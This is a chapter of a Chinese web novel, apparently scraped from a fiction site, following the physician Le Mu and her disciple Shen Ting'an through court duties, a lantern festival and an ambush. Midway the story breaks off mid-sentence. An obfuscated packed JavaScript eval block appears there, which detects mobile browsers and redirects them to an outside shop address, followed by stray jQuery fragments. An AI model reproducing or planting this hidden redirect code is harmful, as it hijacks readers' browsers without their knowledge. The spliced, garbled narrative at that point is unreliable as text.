3. 新岁

作品:《混账孽徒养生手册

    乐暮这觉睡的舒服,一觉醒来已近迟暮,连午饭都错过了。


    “醒了?”沈听安不知何时搬出椅子,批开了奏折,见乐暮醒了,状似礼貌般随意一问。


    “晚上好啊。”乐暮起身掰了掰颈间的骨头,转了圈头,挪出声声脆响。


    “还知晓晚上了?”沈听安头也不抬,淡淡道。


    “这说的哪里话?”乐暮双手枕在脑后,装作无事发生。


    “翻个身,我给你按按。”沈听安搁了奏折。


    乐暮依言照做,沈听安按着乐暮的后颈,放轻力度不紧不慢按摩。


    “师傅,午饭还吃么?”他一声“师傅”,唤得乐暮莫名发怵,不过乐暮只回头瞥了眼奏折,也没说什么。


    “都这时候了还吃什么?晚饭代劳好了。”乐暮眯起眼睛,后颈逐渐泛起红痕。


    “乐暮,你身子虚许老没想过看一下么?”


    “嗯。师傅他老人家给我看过,药也喝了不少,不过无甚大用。”乐暮鲜有地正经起来。


    “也是。”沈听安喃喃道。


    他想了什么,乐暮不问,只是垂眸享受,手搭在吊床边晃悠,过了半晌才道,“下朝了出去玩么?”


    “无碍,怎么突然想出去玩了?”沈听安知晓乐暮不喜闹腾,但也不问太医院的事,免得公事烦心,便也只是随意寒暄。


    “恰逢新岁,去看看街上有什么好玩的。”乐暮含糊其辞,并不细说,“你奏折批完了?”


    “还没。”沈听安如实招来,沈奕白虽已亲政,但难免有时批不完,奏折自然便落到了他这个皇兄头上,那么多臣子,堆积的奏折岂是一时半会儿能批完的?


    “熬夜伤身。”乐暮好似懒得说话,只道鳌头,一般人兴许还反应不过来。


    “下午就批完了。”沈听安见按的差不多了,转头收回手又批开折子。


    “一个‘好’字便应付了?”乐暮枕着胳膊,半阖着眼睛,语气懒洋洋的。


    “师傅。”


    “嗯?”


    “太医院的册子丢给旁人了?”


    “你怎么知晓?”


    “……”


    “哦哦。”乐暮揉了揉眉心,头疼半晌才总算反应过来。


    平日睡的少,睡多了便时常头疼。人人如此,只能在中间过活,两边的极端怎么都碰不得,否则就是物极必反。


    “红豆沙饼好吃么?”沈听安低头批着折子,落笔的“好”字一转成了“日后再论”。


    “好吃。”乐暮嘴角一扯,算是应付过去。


    也许心思敏感的人都是这样,见多了人,交道打多了就是什么都不做也会觉着疲惫。


    沈听安闻声蓦地扔了奏折,搁了笔,起身。


    “……?”


    “无事。”见乐暮大发慈悲来了精神,沈听安笑了笑,回房把红豆沙饼端出来,“明日可有的忙活了,今朝有酒今朝醉,明日事,明日毕,想那么多做什么?安心当下不好么?”


    “同你请个假,我把折子扔回六部。”沈听安歪了歪头,笑的恶劣,“叫他们重写。”


    ……


    乐暮一早醒来搁了白皮,换了身淡青常服。


    太医院上堂同上朝没什么区别,进堂前先跨几十极台阶,前任太医院院首说是风水好,还没有工部来的可靠。


    “乐大人今日可来迟了。”洛幸然坐在大堂,接过座前医官递过去的茶,捧着提手在茶盏上敲了又敲,却并不喝茶。


    “还是洛少卿守时,琼醴自愧不如。”乐暮一挥手,侍候的医官退下。而她坐在对面,拿着药茶喝了起来。


    太医院有两种茶,一种是招待客人的清茶,至味无味,不备酽茶,因为这类人不来太医院,一种是乐暮自制的药茶,只给自己喝,旁人用不着。


    “一如既往,册子我帮你写,大理寺的折子给你。”此处并无旁人,洛幸然直接开门见山道。


    “请罢。”


    两人分坐桌前,一人一边,一人拿着几本册子,不言不语,书页哗哗作响,到底是乐暮的地盘,没吩咐无一人上前,何况里面还是传闻中乐太医的心悦之人。


    “近日大理寺收录了不少罪人,都是散布罂粟入的狱。”洛幸然执笔写册子,不多时便满了一页。


    “安尚书呈上去的?”乐暮语气淡淡,并不意外。


    “还有刑部。”


    安余且身为户部尚书,报上去无甚问题,一经刑部的手事可就闹大了,到底不是官宦子弟,报上去便报上去了,只有太医院才受朝臣关注。


    大堂渐渐亮起来,茶水已然见底,砚台的墨水尽数撒在册子上。


    洛幸然搁了册子起身,乐暮见事大差不差,将药茶喝尽,也跟着洛幸然起身离开大堂。


    “那些爷平白无故教下官抬进太医院,这会儿心情正差,进去了小心些。”


    洛幸然微微颔首,道了声“好”,手上霍然多出把扇子。


    “妈的,还来烦小爷?”


    两人进门劈头盖脸捱了顿骂,随即一个枕头凌空而出,几息间稳稳落地。


    “用过药了么?”乐暮转头对上小医官,面无表情道。


    “他们不用,我们什么法子都用了,仗着自己是贵家子弟什么都干,又不能把一屋子人都捆上。”小医官凑近乐暮,避开床上的人低声。


    除此之外,房间落针可闻,只有床上的人不时摔着东西,叫嚣着要参死太医院。


    乐暮略一抬眸,同洛幸然对了个眼神,脚一抬,枕头破空,一个扇柄接招打回去,落在适才的人脸上,发出两声闷响。


    迎面一声,倒下一声,房间里几息间没了声。


    “诸位还有要求么?我尽量满足。”乐暮双手抱臂,一脚踩墙,居高临下瞧着床上的人。


    屋内摆了不少床,无一例外,个个躺的都是官宦子弟,太医木着脸进去,又颓唐出来,适才两人来时,已过了批太医,没人降得住这些爷。


    “你算什么劳什子太医?小爷就是不服!你能拿小爷如何!”有个胆大的叫出了声,余下的人见了出头鸟,也跟着一涌而上,叫嚣起来,好似捅了老鼠窝。


    乐暮上前一步,指骨一敲桌子,一股清香散开。


    “诸位冷静些,不若听乐某说完。”


    房间内的人见乐暮那张脸,又听了乐暮泌人心脾的语气,心下的暴躁逐渐消停,一时噤声。


    “罂粟之祸不过才区区几日,现如今罪人已送进刑部做审,大理寺全程候着,陛下也不欲叫诸位在此久留,不过一周便会出结果,还请爷们安心。”


    不多时,爷们瘫在床上呼呼睡了个踏实,乐暮眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961677|193326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见挑事的消停下来,也不欲久留,临走前交代一句。


    “灌药,不喝直接捆,出事我负责。”


    明面摆出张好脸,暗里踹你七寸,你还不能如何。诛心之计,不过如此。


    “既无事,我便先走了。”


    “……好。”洛幸然拿着扇子,几片扇叶掩住脸扇了扇,也不问乐暮为何不似先前那般去大理寺,只是笑着应下,给足面子。


    “你还知晓来瀹茗楼寻我?”


    “小时师傅时常带我来瀹茗楼,这也是你名下的产业,我自然忘不了。”


    “瀹茗楼是我父亲送与你的,与我何干?”


    瀹茗楼,乐府唯一的茶楼,先前生计不怎么样,乐歧便丢给了乐暮玩,之后一跃成为京城有名的茶楼,账簿仍在乐歧手上,明面上是他的不错,可惜一次设宴有人起哄说沈听安当上摄政王来之不易,乐歧便将瀹茗楼送了出去。


    “这桌我请,师傅不必吝啬药茶了。”沈听安抬眸瞥了眼乐暮手里的清茶,淡淡道。


    瀹茗楼客人不少,楼下已坐满,多是单纯来品茶套消息的,二楼的雅间只留给贵人,视野开阔,同公开的一楼不同,透过窗牖可以见皇宫。


    “今日好不容易抽出时间,有什么想玩的么?”乐暮出于礼貌问了一句。


    “你去哪我便去哪,今日我是客,但凭主人吩咐。”


    平日不论太医院何时出事,沈听安都能抽出时间,倒是乐暮,回春宅候着她不回,太医院压根见不着人,久而久之沈听安便想着乐暮心大,把他这个亲徒弟忘了。


    “走呗,我带你看个好东西。”乐暮喝尽药茶起身,蓦地来了兴致,嘴角微勾。


    “……好。”不知为何,沈听安总觉着不是什么好事。


    逛了许久,天黑了,家家开始亮起明灯,京城早有习俗,临近新岁来场旷日明灯,喜迎新岁,愿寒随一夜去,春逐五更来①。


    “约莫要明灯了,我们寻个好地方看看。”


    乐暮手拿一串草莓冰糖葫芦,溜达在街上不急不缓吃着,以乐暮的身子而言不能吃凉的,但没人管得住她。她身旁的沈听安盯了半晌手上的冰糖葫芦,才张口吃下。


    “又不下雨,你拿伞做什么?”


    “好看啊。”


    一处黑秃秃的山顶上,可以俯瞰京城各个角落,两人各执一串糖葫芦,本是吃完了,乐暮勉强当了个好人,掏兜又给沈听安添了一串。


    一串串明灯落顶升空,由一旬天飞上新岁的顶端,明灯将天点燃,天边尽是亮色,只余兔子、狻猊……各种祝愿,白色的、黑色的、红色的字于浮空中,笔墨伺候,替了部分亮点,平白飘夜。


    “糖葫芦吃完了么?”乐暮吃完糖葫芦,凑近问了沈听安一声。


    “吃完了。”沈听安不明所以。


    乐暮站起身丢了串子,走到山崖边,一转身,沈听安心下一紧,起身抓住乐暮的手,无数箭镞破空而入,而乐暮攥紧年夙瑜,脚一跃,两人跌下山崖。


    她在空中抽出伞啪嗒一声开了伞骨,将另一把丢给沈听安,两柄伞撑开,掩住两人的身形。


    不夜,小孩抓着娘亲的手对着星星许愿,不时要娘亲买这买那,娘亲只笑,掏出银子给小孩买下。


    “你大爷的!”


    “乐暮!!”